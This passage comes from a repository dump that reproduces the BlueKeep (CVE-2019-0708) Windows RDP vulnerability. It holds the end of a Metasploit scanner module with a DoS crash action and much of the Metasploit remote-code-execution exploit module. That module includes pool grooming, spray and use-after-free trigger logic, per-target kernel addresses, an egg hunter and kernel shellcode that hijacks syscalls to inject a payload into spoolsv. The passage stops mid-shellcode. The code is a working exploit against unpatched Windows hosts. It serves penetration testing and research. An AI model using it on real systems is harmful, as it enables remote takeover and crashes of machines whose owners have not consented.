138 |       # Length and chars are arbitrary but total length needs to be longer than
139 |       # 16 for x86 and 32 for x64. Making the payload too long seems to cause
140 |       # the DoS to fail. Note that sometimes the DoS seems to fail. Increasing
141 |       # the payload size and sending more of them doesn't seem to improve the
142 |       # reliability. It *seems* to happen more often on x64, I haven't seen it
143 |       # fail against x86. Repeated attempts will generally trigger the DoS.
144 |       x86_string += "FF" * 1
145 |       x64_string += "FF" * 2
146 |     else
147 |       vprint_status("Sending patch check payloads")
148 |     end
149 | 
150 |     chan_flags = RDPConstants::CHAN_FLAG_FIRST | RDPConstants::CHAN_FLAG_LAST
151 |     channel_id = [1005].pack('S>')
152 |     x86_packet = rdp_build_pkt(build_virtual_channel_pdu(chan_flags, [x86_string].pack("H*")), channel_id)
153 | 
154 |     x64_packet = rdp_build_pkt(build_virtual_channel_pdu(chan_flags, [x64_string].pack("H*")), channel_id)
155 | 
156 |     6.times do
157 |       rdp_send(x86_packet)
158 |       rdp_send(x64_packet)
159 | 
160 |       # A single pass should be sufficient to cause DoS
161 |       if action.name == 'Crash'
162 |         sleep(1)
163 |         rdp_disconnect
164 | 
165 |         sleep(5)
166 |         if rdp_reachable
167 |           print_error("Target doesn't appear to have been crashed. Consider retrying.")
168 |           return Exploit::CheckCode::Unknown
169 |         else
170 |           print_good("Target service appears to have been successfully crashed.")
171 |           return Exploit::CheckCode::Vulnerable
172 |         end
173 |       end
174 | 
175 |       # Quick check for the Ultimatum PDU
176 |       begin
177 |         res = rdp_recv(-1, 1)
178 |       rescue EOFError
179 |         # we don't care
180 |       end
181 |       return Exploit::CheckCode::Vulnerable if res&.include?(["0300000902f0802180"].pack("H*"))
182 | 
183 |       # Slow check for Ultimatum PDU. If it doesn't respond in a timely
184 |       # manner then the host is likely patched.
185 |       begin
186 |         4.times do
187 |           res = rdp_recv
188 |           # 0x2180 = MCS Disconnect Provider Ultimatum PDU - 2.2.2.3
189 |           if res.include?(["0300000902f0802180"].pack("H*"))
190 |             return Exploit::CheckCode::Vulnerable
191 |           end
192 |         end
193 |       rescue RdpCommunicationError
194 |         # we don't care
195 |       end
196 |     end
197 | 
198 |     Exploit::CheckCode::Safe
199 |   end
200 | 
201 |   def check_rdp_vuln
202 |     # check if rdp is open
203 |     is_rdp, version_info = rdp_fingerprint
204 |     unless is_rdp
205 |       vprint_status "Could not connect to RDP service."
206 |       return Exploit::CheckCode::Unknown
207 |     end
208 |     rdp_disconnect
209 |     rdp_connect
210 |     is_rdp, server_selected_proto = rdp_check_protocol
211 | 
212 |     requires_nla = [RDPConstants::PROTOCOL_HYBRID, RDPConstants::PROTOCOL_HYBRID_EX].include? server_selected_proto
213 |     product_version = (version_info && version_info[:product_version]) ? version_info[:product_version] : 'N/A'
214 |     info = "Detected RDP on #{peer} (Windows version: #{product_version})"
215 | 
216 |     service_info = "Requires NLA: #{(!version_info[:product_version].nil? && requires_nla) ? 'Yes' : 'No'}"
217 |     info << " (#{service_info})"
218 | 
219 |     print_status(info)
220 | 
221 |     if requires_nla
222 |       vprint_status("Server requires NLA (CredSSP) security which mitigates this vulnerability.")
223 |       return Exploit::CheckCode::Safe
224 |     end
225 | 
226 |     chans = [
227 |       ['cliprdr', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL],
228 |       ['MS_T120',   RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_COMPRESS_RDP],
229 |       ['rdpsnd',  RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP],
230 |       ['snddbg',  RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP],
231 |       ['rdpdr',   RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_COMPRESS_RDP],
232 |     ]
233 | 
234 |     success = rdp_negotiate_security(chans, server_selected_proto)
235 |     return Exploit::CheckCode::Unknown unless success
236 | 
237 |     rdp_establish_session
238 | 
239 |     result = check_for_patch
240 | 
241 |     if result == Exploit::CheckCode::Vulnerable
242 |       report_goods
243 |     end
244 | 
245 |     # Can't determine, but at least we know the service is running
246 |     result
247 |   end
248 | 
249 | end
250 | 


--------------------------------------------------------------------------------
/2020_11_15_Windows RDP服务远程代码执行漏洞复现（CVE-2019-0708）-BlueKeep/cve_2019_0708_bluekeep_rce.rb:
--------------------------------------------------------------------------------
   1 | ##
   2 | # This module requires Metasploit: https://metasploit.com/download
   3 | # Current source: https://github.com/rapid7/metasploit-framework
   4 | ##
   5 | 
   6 | #  Exploitation and Caveats from zerosum0x0:
   7 | #
   8 | #    1. Register with channel MS_T120 (and others such as RDPDR/RDPSND) nominally.
   9 | #    2. Perform a full RDP handshake, I like to wait for RDPDR handshake too (code in the .py)
  10 | #    3. Free MS_T120 with the DisconnectProviderIndication message to MS_T120.
  11 | #    4. RDP has chunked messages, so we use this to groom.
  12 | #       a. Chunked messaging ONLY works properly when sent to RDPSND/MS_T120.
  13 | #       b. However, on 7+, MS_T120 will not work and you have to use RDPSND.
  14 | #           i. RDPSND only works when
  15 | #              HKLM\SYSTEM\CurrentControlSet\Control\TerminalServer\Winstations\RDP-Tcp\fDisableCam = 0
  16 | #           ii. This registry key is not a default setting for server 2008 R2. SHITTY ISSUE
  17 | #    5. Use chunked grooming to fit new data in the freed channel, account for
  18 | #       the allocation header size (like 0x38 I think?). At offset 0x100? is where
  19 | #       the "call [rax]" gadget will get its pointer from.
  20 | #       a. The NonPagedPool (NPP) starts at a fixed address on XP-7
  21 | #           i. Hot-swap memory is another SHITTY ISSUE. With certain VMWare and
  22 | #           Hyper-V setups, the OS allocates a buncha PTE stuff before the NPP
  23 | #           start. This can be anywhere from 100 mb to gigabytes of offset
  24 | #           before the NPP start.
  25 | #       b. Set offset 0x100 to NPPStart+SizeOfGroomInMB
  26 | #       c. Groom chunk the shellcode, at *(NPPStart+SizeOfGroomInMB) you need
  27 | #          [NPPStart+SizeOfGroomInMB+8...payload]... because "call [rax]" is an
  28 | #          indirect call
  29 | #       d. We are limited to 0x400 payloads by channel chunk max size. My
  30 | #          current shellcode is a twin shellcode with eggfinders. I spam the
  31 | #          kernel payload and user payload, and if user payload is called first it
  32 | #          will egghunt for the kernel payload.
  33 | #    6. After channel hole is filled and the NPP is spammed up with shellcode,
  34 | #       trigger the free by closing the socket.
  35 | #
  36 | #    TODO:
  37 | #    * Detect OS specifics / obtain memory leak to determine NPP start address.
  38 | #    * Write the XP/2003 portions grooming MS_T120.
  39 | #    * Detect if RDPSND grooming is working or not?
  40 | #    * Expand channels besides RDPSND/MS_T120 for grooming.
  41 | #        See https://unit42.paloaltonetworks.com/exploitation-of-windows-cve-2019-0708-bluekeep-three-ways-to-write-data-into-the-kernel-with-rdp-pdu/
  42 | #
  43 | #    https://github.com/0xeb-bp/bluekeep .. this repo has code for grooming
  44 | #    MS_T120 on XP... should be same process as the RDPSND
  45 | 
  46 | class MetasploitModule < Msf::Exploit::Remote
  47 | 
  48 |   Rank = ManualRanking
  49 | 
  50 |   USERMODE_EGG = 0xb00dac0fefe31337
  51 |   KERNELMODE_EGG = 0xb00dac0fefe42069
  52 | 
  53 |   CHUNK_SIZE = 0x400
  54 |   HEADER_SIZE = 0x48
  55 | 
  56 |   include Msf::Exploit::Remote::RDP
  57 |   include Msf::Exploit::Remote::CheckScanner
  58 | 
  59 |   def initialize(info = {})
  60 |     super(update_info(info,
  61 |       'Name'           => 'CVE-2019-0708 BlueKeep RDP Remote Windows Kernel Use After Free',
  62 |       'Description'    => %q(
  63 |         The RDP termdd.sys driver improperly handles binds to internal-only channel MS_T120,
  64 |         allowing a malformed Disconnect Provider Indication message to cause use-after-free.
  65 |         With a controllable data/size remote nonpaged pool spray, an indirect call gadget of
  66 |         the freed channel is used to achieve arbitrary code execution.
  67 |       ),
  68 |       'Author' =>
  69 |       [
  70 |         'Sean Dillon <sean.dillon@risksense.com>',  # @zerosum0x0 - Original exploit
  71 |         'Ryan Hanson <dunno@findthisout.com>',      # @ryHanson - Original exploit
  72 |         'OJ Reeves <oj@beyondbinary.io>',           # @TheColonial - Metasploit module
  73 |         'Brent Cook <bcook@rapid7.com>',            # @busterbcook - Assembly whisperer
  74 |       ],
  75 |       'License' => MSF_LICENSE,
  76 |       'References' =>
  77 |         [
  78 |           ['CVE', '2019-0708'],
  79 |           ['URL', 'https://github.com/zerosum0x0/CVE-2019-0708'],
  80 |         ],
  81 |       'DefaultOptions' =>
  82 |         {
  83 |           'EXITFUNC' => 'thread',
  84 |           'WfsDelay' => 5,
  85 |           'RDP_CLIENT_NAME' => 'ethdev',
  86 |           'CheckScanner' => 'auxiliary/scanner/rdp/cve_2019_0708_bluekeep'
  87 |         },
  88 |       'Privileged' => true,
  89 |       'Payload' =>
  90 |         {
  91 |           'Space' => CHUNK_SIZE - HEADER_SIZE,
  92 |           'EncoderType' => Msf::Encoder::Type::Raw,
  93 |         },
  94 |       'Platform' => 'win',
  95 |       'Targets' =>
  96 |         [
  97 |           [
  98 |             'Automatic targeting via fingerprinting',
  99 |             {
 100 |               'Arch' => [ARCH_X64],
 101 |               'FingerprintOnly' => true
 102 |             },
 103 |           ],
 104 |           #
 105 |           #
 106 |           # Windows 2008 R2 requires the following registry change from default:
 107 |           #
 108 |           # [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Terminal Server\WinStations\rdpwd]
 109 |           # "fDisableCam"=dword:00000000
 110 |           #
 111 |           [
 112 |             'Windows 7 SP1 / 2008 R2 (6.1.7601 x64)',
 113 |             {
 114 |               'Platform' => 'win',
 115 |               'Arch' => [ARCH_X64],
 116 |               'GROOMBASE' => 0xfffffa8003800000
 117 |             }
 118 |           ],
 119 |           [
 120 |             # This works with Virtualbox 6
 121 |             'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - Virtualbox)',
 122 |             {
 123 |               'Platform' => 'win',
 124 |               'Arch' => [ARCH_X64],
 125 |               'GROOMBASE' => 0xfffffa8002407000
 126 |             }
 127 |           ],
 128 |           [
 129 |             # This address works on VMWare 15 on Windows.
 130 |             'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare)',
 131 |             {
 132 |               'Platform' => 'win',
 133 |               'Arch' => [ARCH_X64],
 134 |               'GROOMBASE' => 0xfffffa8018C00000
 135 |               #'GROOMBASE' => 0xfffffa801C000000
 136 |             }
 137 |           ],
 138 |           [
 139 |             'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - Hyper-V)',
 140 |             {
 141 |               'Platform' => 'win',
 142 |               'Arch' => [ARCH_X64],
 143 |               'GROOMBASE' => 0xfffffa8102407000
 144 |             }
 145 |           ],
 146 |         ],
 147 |       'DefaultTarget' => 0,
 148 |       'DisclosureDate' => 'May 14 2019',
 149 |       'Notes' =>
 150 |         {
 151 |           'AKA' => ['Bluekeep']
 152 |         }
 153 |     ))
 154 | 
 155 |     register_advanced_options(
 156 |       [
 157 |         OptBool.new('ForceExploit', [false, 'Override check result', false]),
 158 |         OptInt.new('GROOMSIZE', [true, 'Size of the groom in MB', 250]),
 159 |         OptEnum.new('GROOMCHANNEL', [true, 'Channel to use for grooming', 'RDPSND', ['RDPSND', 'MS_T120']]),
 160 |         OptInt.new('GROOMCHANNELCOUNT', [true, 'Number of channels to groom', 1]),
 161 |       ]
 162 |     )
 163 |   end
 164 | 
 165 |   def exploit
 166 |     unless check == CheckCode::Vulnerable || datastore['ForceExploit']
 167 |       fail_with(Failure::NotVulnerable, 'Set ForceExploit to override')
 168 |     end
 169 | 
 170 |     if target['FingerprintOnly']
 171 |       fail_with(Msf::Module::Failure::BadConfig, 'Set the most appropriate target manually')
 172 |     end
 173 | 
 174 |     begin
 175 |       rdp_connect
 176 |     rescue ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError
 177 |       fail_with(Msf::Module::Failure::Unreachable, 'Unable to connect to RDP service')
 178 |     end
 179 | 
 180 |     is_rdp, server_selected_proto = rdp_check_protocol
 181 |     unless is_rdp
 182 |       fail_with(Msf::Module::Failure::Unreachable, 'Unable to connect to RDP service')
 183 |     end
 184 | 
 185 |     # We don't currently support NLA in the mixin or the exploit. However, if we have valid creds, NLA shouldn't stop us
 186 |     # from exploiting the target.
 187 |     if [RDPConstants::PROTOCOL_HYBRID, RDPConstants::PROTOCOL_HYBRID_EX].include?(server_selected_proto)
 188 |       fail_with(Msf::Module::Failure::BadConfig, 'Server requires NLA (CredSSP) security which mitigates this vulnerability.')
 189 |     end
 190 | 
 191 |     chans = [
 192 |       ['rdpdr', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP],
 193 |       [datastore['GROOMCHANNEL'], RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP],
 194 |       [datastore['GROOMCHANNEL'], RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP],
 195 |       ['MS_XXX0', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL],
 196 |       ['MS_XXX1', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL],
 197 |       ['MS_XXX2', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL],
 198 |       ['MS_XXX3', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL],
 199 |       ['MS_XXX4', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL],
 200 |       ['MS_XXX5', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL],
 201 |       ['MS_T120', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL],
 202 |     ]
 203 | 
 204 |     @mst120_chan_id = 1004 + chans.length - 1
 205 | 
 206 |     unless rdp_negotiate_security(chans, server_selected_proto)
 207 |       fail_with(Msf::Module::Failure::Unknown, 'Negotiation of security failed.')
 208 |     end
 209 | 
 210 |     rdp_establish_session
 211 | 
 212 |     rdp_dispatch_loop
 213 |   end
 214 | 
 215 | private
 216 | 
 217 |   # This function is invoked when the PAKID_CORE_CLIENTID_CONFIRM message is
 218 |   # received on a channel, and this is when we need to kick off our exploit.
 219 |   def rdp_on_core_client_id_confirm(pkt, user, chan_id, flags, data)
 220 |     # We have to do the default behaviour first.
 221 |     super(pkt, user, chan_id, flags, data)
 222 | 
 223 |     groom_size = datastore['GROOMSIZE']
 224 |     pool_addr = target['GROOMBASE'] + (CHUNK_SIZE * 1024 * groom_size)
 225 |     groom_chan_count = datastore['GROOMCHANNELCOUNT']
 226 | 
 227 |     payloads = create_payloads(pool_addr)
 228 | 
 229 |     print_status("Using CHUNK grooming strategy. Size #{groom_size}MB, target address 0x#{pool_addr.to_s(16)}, Channel count #{groom_chan_count}.")
 230 | 
 231 |     target_channel_id = chan_id + 1
 232 | 
 233 |     spray_buffer = create_exploit_channel_buffer(pool_addr)
 234 |     spray_channel = rdp_create_channel_msg(self.rdp_user_id, target_channel_id, spray_buffer, 0, 0xFFFFFFF)
 235 |     free_trigger = spray_channel * 20 + create_free_trigger(self.rdp_user_id, @mst120_chan_id) + spray_channel * 80
 236 | 
 237 |     print_status("Surfing channels ...")
 238 |     rdp_send(spray_channel * 1024)
 239 |     rdp_send(free_trigger)
 240 | 
 241 |     chan_surf_size = 0x421
 242 |     spray_packets = (chan_surf_size / spray_channel.length) + [1, chan_surf_size % spray_channel.length].min
 243 |     chan_surf_packet = spray_channel * spray_packets
 244 |     chan_surf_count  = chan_surf_size / spray_packets
 245 | 
 246 |     chan_surf_count.times do
 247 |       rdp_send(chan_surf_packet)
 248 |     end
 249 | 
 250 |     print_status("Lobbing eggs ...")
 251 | 
 252 |     groom_mb = groom_size * 1024 / payloads.length
 253 | 
 254 |     groom_mb.times do
 255 |       tpkts = ''
 256 |       for c in 0..groom_chan_count
 257 |         payloads.each do |p|
 258 |           tpkts += rdp_create_channel_msg(self.rdp_user_id, target_channel_id + c, p, 0, 0xFFFFFFF)
 259 |         end
 260 |       end
 261 |       rdp_send(tpkts)
 262 |     end
 263 | 
 264 |     # Terminating and disconnecting forces the USE
 265 |     print_status("Forcing the USE of FREE'd object ...")
 266 |     rdp_terminate
 267 |     rdp_disconnect
 268 |   end
 269 | 
 270 |   # Helper function to create the kernel mode payload and the usermode payload with
 271 |   # the egg hunter prefix.
 272 |   def create_payloads(pool_address)
 273 |     begin
 274 |       [kernel_mode_payload, user_mode_payload].map { |p|
 275 |         [
 276 |           pool_address + HEADER_SIZE + 0x10, # indirect call gadget, over this pointer + egg
 277 |           p
 278 |         ].pack('<Qa*').ljust(CHUNK_SIZE - HEADER_SIZE, "\x00")
 279 |       }
 280 |     rescue => ex
 281 |       print_error("#{ex.backtrace.join("\n")}: #{ex.message} (#{ex.class})")
 282 |     end
 283 |   end
 284 | 
 285 |   def assemble_with_fixups(asm)
 286 |     # Rewrite all instructions of form 'lea reg, [rel label]' as relative
 287 |     # offsets for the instruction pointer, since metasm's 'ModRM' parser does
 288 |     # not grok that syntax.
 289 |     lea_rel = /lea+\s(?<dest>\w{2,3}),*\s\[rel+\s(?<label>[a-zA-Z_].*)\]/
 290 |     asm.gsub!(lea_rel) do |match|
 291 |       match = "lea #{$1}, [rip + #{$2}]"
 292 |     end
 293 | 
 294 |     # metasm encodes all rep instructions as repnz
 295 |     # https://github.com/jjyg/metasm/pull/40
 296 |     asm.gsub!(/rep+\smovsb/, 'db 0xf3, 0xa4')
 297 | 
 298 |     encoded = Metasm::Shellcode.assemble(Metasm::X64.new, asm).encoded
 299 | 
 300 |     # Fixup above rewritten instructions with the relative label offsets
 301 |     encoded.reloc.each do |offset, reloc|
 302 |       target = reloc.target.to_s
 303 |       if encoded.export.key?(target)
 304 |         # Note: this assumes the address we're fixing up is at the end of the
 305 |         # instruction. This holds for 'lea' but if there are other fixups
 306 |         # later, this might need to change to account for specific instruction
 307 |         # encodings
 308 |         if reloc.type == :i32
 309 |           instr_offset = offset + 4
 310 |         elsif reloc.type == :i16
 311 |           instr_offset = offset + 2
 312 |         end
 313 |         encoded.fixup(target => encoded.export[target] - instr_offset)
 314 |       else
 315 |         raise "Unknown symbol '#{target}' while resolving relative offsets"
 316 |       end
 317 |     end
 318 |     encoded.fill
 319 |     encoded.data
 320 |   end
 321 | 
 322 |   # The user mode payload has two parts. The first is an egg hunter that searches for
 323 |   # the kernel mode payload. The second part is the actual payload that's invoked in
 324 |   # user land (ie. it's injected into spoolsrv.exe). We need to spray both the kernel
 325 |   # and user mode payloads around the heap in different packets because we don't have
 326 |   # enough space to put them both in the same chunk. Given that code exec can result in
 327 |   # landing on the user land payload, the egg is used to go to a kernel payload.
 328 |   def user_mode_payload
 329 | 
 330 |     # Windows x64 kernel shellcode from ring 0 to ring 3 by sleepya
 331 |     #
 332 |     # This shellcode was written originally for eternalblue exploits
 333 |     # eternalblue_exploit7.py and eternalblue_exploit8.py
 334 |     #
 335 |     # Idea for Ring 0 to Ring 3 via APC from Sean Dillon (@zerosum0x0)
 336 |     #
 337 |     # Note:
 338 |     # - The userland shellcode is run in a new thread of system process.
 339 |     #     If userland shellcode causes any exception, the system process get killed.
 340 |     # - On idle target with multiple core processors, the hijacked system call
 341 |     #     might take a while (> 5 minutes) to get called because the system
 342 |     #     call may be called on other processors.
 343 |     # - The shellcode does not allocate shadow stack if possible for minimal shellcode size.
 344 |     #     This is ok because some Windows functions do not require a shadow stack.
 345 |     # - Compiling shellcode with specific Windows version macro, corrupted buffer will be freed.
 346 |     #     Note: the Windows 8 version macros are removed below
 347 |     # - The userland payload MUST be appened to this shellcode.
 348 |     #
 349 |     # References:
 350 |     # - http://www.geoffchappell.com/studies/windows/km/index.htm (structures info)
 351 |     # - https://github.com/reactos/reactos/blob/master/reactos/ntoskrnl/ke/apc.c
 352 | 
 353 |     asm = %Q^
 354 | _start:
 355 |     lea rcx, [rel _start]
 356 |     mov r8, 0x#{KERNELMODE_EGG.to_s(16)}
 357 | _egg_loop:
 358 |     sub rcx, 0x#{CHUNK_SIZE.to_s(16)}
 359 |     sub rax, 0x#{CHUNK_SIZE.to_s(16)}
 360 |     mov rdx, [rcx - 8]
 361 |     cmp rdx, r8
 362 |     jnz _egg_loop
 363 |     jmp rcx
 364 |     ^
 365 |     egg_loop = assemble_with_fixups(asm)
 366 | 
 367 |     # The USERMODE_EGG is required at the start as well, because the exploit code
 368 |     # assumes the tag is there, and jumps over it to find the shellcode.
 369 |     [
 370 |       USERMODE_EGG,
 371 |       egg_loop,
 372 |       USERMODE_EGG,
 373 |       payload.raw
 374 |     ].pack('<Qa*<Qa*')
 375 |   end
 376 | 
 377 |   def kernel_mode_payload
 378 |     data_kapc_offset           = 0x10
 379 |     data_nt_kernel_addr_offset = 0x8
 380 |     data_origin_syscall_offset = 0
 381 |     data_peb_addr_offset       = -0x10
 382 |     data_queueing_kapc_offset  = -0x8
 383 |     hal_heap_storage           = 0xffffffffffd04100
 384 | 
 385 |     # These hashes are not the same as the ones used by the
 386 |     # Block API so they have to be hard-coded.
 387 |     createthread_hash              = 0x835e515e
 388 |     keinitializeapc_hash           = 0x6d195cc4
 389 |     keinsertqueueapc_hash          = 0xafcc4634
 390 |     psgetcurrentprocess_hash       = 0xdbf47c78
 391 |     psgetprocessid_hash            = 0x170114e1
 392 |     psgetprocessimagefilename_hash = 0x77645f3f
 393 |     psgetprocesspeb_hash           = 0xb818b848
 394 |     psgetthreadteb_hash            = 0xcef84c3e
 395 |     spoolsv_exe_hash               = 0x3ee083d8
 396 |     zwallocatevirtualmemory_hash   = 0x576e99ea
 397 | 
 398 |     asm = %Q^
 399 | shellcode_start:
 400 |     nop
 401 |     nop
 402 |     nop
 403 |     nop
 404 |     ; IRQL is DISPATCH_LEVEL when got code execution
 405 | 
 406 |     push rbp
 407 | 
 408 |     call set_rbp_data_address_fn
 409 | 
 410 |     ; read current syscall
 411 |     mov ecx, 0xc0000082
 412 |     rdmsr
 413 |     ; do NOT replace saved original syscall address with hook syscall
 414 |     lea r9, [rel syscall_hook]
 415 |     cmp eax, r9d
 416 |     je _setup_syscall_hook_done
 417 | 
 418 |     ; if (saved_original_syscall != &KiSystemCall64) do_first_time_initialize
 419 |     cmp dword [rbp+#{data_origin_syscall_offset}], eax
 420 |     je _hook_syscall
 421 | 
 422 |     ; save original syscall
 423 |     mov dword [rbp+#{data_origin_syscall_offset}+4], edx
 424 |     mov dword [rbp+#{data_origin_syscall_offset}], eax
 425 | 
 426 |     ; first time on the target
 427 |     mov byte [rbp+#{data_queueing_kapc_offset}], 0
 428 | 
 429 | _hook_syscall:
 430 |     ; set a new syscall on running processor
 431 |     ; setting MSR 0xc0000082 affects only running processor
 432 |     xchg r9, rax
 433 |     push rax
 434 |     pop rdx     ; mov rdx, rax
 435 |     shr rdx, 32
 436 |     wrmsr
 437 | 
 438 | _setup_syscall_hook_done:
 439 |     pop rbp
 440 | 
 441 | ;--------------------- HACK crappy thread cleanup --------------------
 442 | ; This code is effectively the same as the epilogue of the function that calls
 443 | ; the vulnerable function in the kernel, with a tweak or two.
 444 | 
 445 |     ; TODO: make the lock not suck!!
 446 |     mov     rax, qword [gs:0x188]
 447 |     add     word [rax+0x1C4], 1       ; KeGetCurrentThread()->KernelApcDisable++
 448 |     lea     r11, [rsp+0b8h]
 449 |     xor     eax, eax
 450 |     mov     rbx, [r11+30h]
 451 |     mov     rbp, [r11+40h]
 452 |     mov     rsi, [r11+48h]
 453 |     mov     rsp, r11
 454 |     pop     r15
 455 |     pop     r14
 456 |     pop     r13
 457 |     pop     r12
 458 |     pop     rdi
 459 |     ret
 460 | 
 461 | ;--------------------- END HACK crappy thread cleanup
 462 | 
 463 | ;========================================================================
 464 | ; Find memory address in HAL heap for using as data area
 465 | ; Return: rbp = data address
 466 | ;========================================================================
 467 | set_rbp_data_address_fn:
 468 |     ; On idle target without user application, syscall on hijacked processor might not be called immediately.
 469 |     ; Find some address to store the data, the data in this address MUST not be modified
 470 |     ;   when exploit is rerun before syscall is called
 471 |     ;lea rbp, [rel _set_rbp_data_address_fn_next + 0x1000]
 472 | 
 473 |     ; ------ HACK rbp wasnt valid!
 474 | 
 475 |     mov rbp, #{hal_heap_storage}    ; TODO: use some other buffer besides HAL heap??
 476 | 
 477 |     ; --------- HACK end rbp
 478 | 
 479 | _set_rbp_data_address_fn_next:
 480 |     ;shr rbp, 12
 481 |     ;shl rbp, 12
 482 |     ;sub rbp, 0x70   ; for KAPC struct too
 483 |     ret
 484 | 
 485 |     ;int 3
 486 |     ;call $+5
 487 |     ;pop r13
 488 | syscall_hook:
 489 |     swapgs
 490 |     mov qword [gs:0x10], rsp
 491 |     mov rsp, qword [gs:0x1a8]
 492 |     push 0x2b
 493 |     push qword [gs:0x10]
 494 | 
 495 |     push rax    ; want this stack space to store original syscall addr
 496 |     ; save rax first to make this function continue to real syscall
 497 |     push rax
 498 |     push rbp    ; save rbp here because rbp is special register for accessing this shellcode data
 499 |     call set_rbp_data_address_fn
 500 |     mov rax, [rbp+#{data_origin_syscall_offset}]
 501 |     add rax, 0x1f   ; adjust syscall entry, so we do not need to reverse start of syscall handler
 502 |     mov [rsp+0x10], rax
 503 | 
 504 |     ; save all volatile registers
 505 |     push rcx
 506 |     push rdx
 507 |     push r8
 508 |     push r9
 509 |     push r10
 510 |     push r11
 511 | 
 512 |     ; use lock cmpxchg for queueing APC only one at a time
 513 |     xor eax, eax
 514 |     mov dl, 1
 515 |     lock cmpxchg byte [rbp+#{data_queueing_kapc_offset}], dl
 516 |     jnz _syscall_hook_done
 517 | 
 518 |     ;======================================
 519 |     ; restore syscall
 520 |     ;======================================
 521 |     ; an error after restoring syscall should never occur
 522 |     mov ecx, 0xc0000082
 523 |     mov eax, [rbp+#{data_origin_syscall_offset}]
 524 |     mov edx, [rbp+#{data_origin_syscall_offset}+4]
 525 |     wrmsr
 526 | 
 527 |     ; allow interrupts while executing shellcode
 528 |     sti
 529 |     call r3_to_r0_start
 530 |     cli
 531 | 
 532 | _syscall_hook_done:
 533 |     pop r11
 534 |     pop r10
 535 |     pop r9
 536 |     pop r8
 537 |     pop rdx
 538 |     pop rcx
 539 |     pop rbp
 540 |     pop rax
 541 |     ret
 542 | 
 543 | r3_to_r0_start:
 544 |     ; save used non-volatile registers
 545 |     push r15
 546 |     push r14
 547 |     push rdi
 548 |     push rsi
 549 |     push rbx
 550 |     push rax    ; align stack by 0x10
 551 | 
 552 |     ;======================================
 553 |     ; find nt kernel address
 554 |     ;======================================
 555 |     mov r15, qword [rbp+#{data_origin_syscall_offset}]      ; KiSystemCall64 is an address in nt kernel
 556 |     shr r15, 0xc                ; strip to page size
 557 |     shl r15, 0xc
 558 | 
 559 | _x64_find_nt_walk_page:
 560 |     sub r15, 0x1000             ; walk along page size
 561 |     cmp word [r15], 0x5a4d      ; 'MZ' header
 562 |     jne _x64_find_nt_walk_page
 563 | 
 564 |     ; save nt address for using in KernelApcRoutine
 565 |     mov [rbp+#{data_nt_kernel_addr_offset}], r15
 566 | 
 567 |     ;======================================
 568 |     ; get current EPROCESS and ETHREAD
 569 |     ;======================================
 570 |     mov r14, qword [gs:0x188]    ; get _ETHREAD pointer from KPCR
 571 |     mov edi, #{psgetcurrentprocess_hash}
 572 |     call win_api_direct
 573 |     xchg rcx, rax       ; rcx = EPROCESS
 574 | 
 575 |     ; r15 : nt kernel address
 576 |     ; r14 : ETHREAD
 577 |     ; rcx : EPROCESS
 578 | 
 579 |     ;======================================
 580 |     ; find offset of EPROCESS.ImageFilename
 581 |     ;======================================
 582 |     mov edi, #{psgetprocessimagefilename_hash}
 583 |     call get_proc_addr
 584 |     mov eax, dword [rax+3]  ; get offset from code (offset of ImageFilename is always > 0x7f)
 585 |     mov ebx, eax        ; ebx = offset of EPROCESS.ImageFilename
 586 | 
 587 | 
 588 |     ;======================================
 589 |     ; find offset of EPROCESS.ThreadListHead
 590 |     ;======================================
 591 |     ; possible diff from ImageFilename offset is 0x28 and 0x38 (Win8+)
 592 |     ; if offset of ImageFilename is more than 0x400, current is (Win8+)
 593 | 
 594 |     cmp eax, 0x400      ; eax is still an offset of EPROCESS.ImageFilename
 595 |     jb _find_eprocess_threadlist_offset_win7
 596 |     add eax, 0x10
 597 | _find_eprocess_threadlist_offset_win7:
 598 |     lea rdx, [rax+0x28] ; edx = offset of EPROCESS.ThreadListHead
 599 | 
 600 |     ;======================================
 601 |     ; find offset of ETHREAD.ThreadListEntry
 602 |     ;======================================
 603 | 
 604 |     lea r8, [rcx+rdx]   ; r8 = address of EPROCESS.ThreadListHead
 605 |     mov r9, r8
 606 | 
 607 |     ; ETHREAD.ThreadListEntry must be between ETHREAD (r14) and ETHREAD+0x700
 608 | _find_ethread_threadlist_offset_loop:
 609 |     mov r9, qword [r9]
 610 | 
 611 |     cmp r8, r9          ; check end of list
